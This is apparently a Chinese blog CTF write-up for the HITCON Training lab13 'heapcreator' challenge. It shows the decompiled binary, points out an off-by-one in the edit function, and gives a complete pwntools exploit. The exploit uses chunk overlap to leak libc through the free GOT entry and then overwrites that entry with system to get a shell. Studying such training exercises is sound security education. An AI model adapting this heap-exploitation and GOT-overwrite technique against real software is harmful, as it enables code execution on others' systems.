HITCON Trainging lab13——heapcreator

64位程序,没开PIE    #chunk overlapping   #off by one

HITCON Trainging lab13——heapcreator

程序逻辑

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   char *v3; // rsi
 4   const char *v4; // rdi
 5   char buf; // [rsp+0h] [rbp-10h]
 6   unsigned __int64 v6; // [rsp+8h] [rbp-8h]
 7 
 8   v6 = __readfsqword(0x28u);
 9   setvbuf(_bss_start, 0LL, 2, 0LL);
10   v3 = 0LL;
11   v4 = (const char *)stdin;
12   setvbuf(stdin, 0LL, 2, 0LL);
13   while ( 1 )
14   {
15     menu(v4, v3);
16     v3 = &buf;
17     read(0, &buf, 4uLL);
18     v4 = &buf;
19     switch ( atoi(&buf) )
20     {
21       case 1:
22         create_heap(&buf, &buf);
23         break;
24       case 2:
25         edit_heap(&buf, &buf);
26         break;
27       case 3:
28         show_heap(&buf, &buf);
29         break;
30       case 4:
31         delete_heap(&buf, &buf);
32         break;
33       case 5:
34         exit(0);
35         return;
36       default:
37         v4 = "Invalid Choice";
38         puts("Invalid Choice");
39         break;
40     }
41   }
42 }


创建堆

 1 unsigned __int64 create_heap()
 2 {
 3   _QWORD *v0; // rbx
 4   signed int i; // [rsp+4h] [rbp-2Ch]
 5   size_t size; // [rsp+8h] [rbp-28h]
 6   char buf; // [rsp+10h] [rbp-20h]
 7   unsigned __int64 v5; // [rsp+18h] [rbp-18h]
 8 
 9   v5 = __readfsqword(0x28u);
10   for ( i = 0; i <= 9; ++i )
11   {
12     if ( !heaparray[i] )
13     {
14       heaparray[i] = malloc(0x10uLL);
15       if ( !heaparray[i] )
16       {
17         puts("Allocate Error");
18         exit(1);
19       }
20       printf("Size of Heap : ");
21       read(0, &buf, 8uLL);
22       size = atoi(&buf);
23       v0 = heaparray[i];
24       v0[1] = malloc(size);
25       if ( !*((_QWORD *)heaparray[i] + 1) )
26       {
27         puts("Allocate Error");
28         exit(2);
29       }
30       *(_QWORD *)heaparray[i] = size;
31       printf("Content of heap:", &buf);
32       read_input(*((_QWORD *)heaparray[i] + 1), size);
33       puts("SuccessFul");
34       return __readfsqword(0x28u) ^ v5;
35     }
36   }
37   return __readfsqword(0x28u) ^ v5;
38 }

编辑堆,比之前创建堆时的size多读入了1个字节,造成off by one

 1 unsigned __int64 edit_heap()
 2 {
 3   int v1; // [rsp+Ch] [rbp-14h]
 4   char buf; // [rsp+10h] [rbp-10h]
 5   unsigned __int64 v3; // [rsp+18h] [rbp-8h]
 6 
 7   v3 = __readfsqword(0x28u);
 8   printf("Index :");
 9   read(0, &buf, 4uLL);
10   v1 = atoi(&buf);
11   if ( v1 < 0 || v1 > 9 )
12   {
13     puts("Out of bound!");
14     _exit(0);
15   }
16   if ( heaparray[v1] )
17   {
18     printf("Content of heap : ", &buf);
19     read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);//off by one
20     puts("Done !");
21   }
22   else
23   {
24     puts("No such heap !");
25   }
26   return __readfsqword(0x28u) ^ v3;
27 }

利用思路

基本利用思路如下

  1. 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
  2. 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
  3. 具体的看exploit

 

exploit

 1 from pwn import *
 2 sh=process('./heapcreator')
 3 elf=ELF('./heapcreator')
 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 5 
 6 def create(size,value):
 7     sh.recvuntil('Your choice :')
 8     sh.sendline('1')
 9     sh.recvuntil('Size of Heap :')
10     sh.sendline(str(size))
11     sh.recvuntil('Content of heap:')
12     sh.sendline(value)
13 
14 def edit(idx,value):
15     sh.recvuntil('Your choice :')
16     sh.sendline('2')
17     sh.recvuntil('Index :')
18     sh.sendline(str(idx))
19     sh.recvuntil('Content of heap : ')
20     sh.sendline(value)
21 
22 def show(idx):
23     sh.recvuntil('Your choice :')
24     sh.sendline('3')
25     sh.recvuntil('Index :')
26     sh.sendline(str(idx))
27 
28 def delete(idx):
29     sh.recvuntil('Your choice :')
30     sh.sendline('4')
31     sh.recvuntil('Index :')
32     sh.sendline(str(idx))
33 
34 free_got=elf.got['free']
35 create(0x18,'aaaaaaa')  #idx0 实际分配了0x10的chunk,重用idx1的prev_size的8个字节
36 create(0x10,'aaaaaaa') #idx1  
37 create(0x10,'aaaaaaa')  #idx2
38 create(0x10,'/bin/sh\x00')  #idx3
39 payload='a'*0x18+'\x81'
40 edit(0,payload)   #修改idx1的size为0x81 
41 delete(1)  #idx1进入0x70的unsorted bin
42 size='\x08'.ljust(8,'\x00')
43 payload='b'*0x40+size+p64(free_got)
44 create(0x70,payload)  #分配到idx1 此时size为0x70,可以堆溢出到idx2,修改idx2的内容指针为free_got
45 show(2)  #输出free真实地址,泄露libc基地址
46 sh.recvuntil('Content :')
47 free_adr=u64(sh.recvline()[:-1].strip().ljust(8,'\x00'))
48 #free_adr=u64(sh.recvuntil('\nDone')[:-5].ljust(8,'\x00'))
49 print 'free_adr: '+hex(free_adr)
50 libc_base=free_adr-libc.symbols['free']
51 system_adr=libc_base+libc.symbols['system']
52 print 'libc_base: '+hex(libc_base)
53 print 'system_adr: '+hex(system_adr)
54 edit(2,p64(system_adr)) #将free_got改为system地址
55 delete(3)        #free(idx->content)触发
56 sh.interactive()

 

上一篇:Linux c++(socket网络通信 & 介绍)


下一篇:1、分层模型、协议、网路基础(linux网络编程)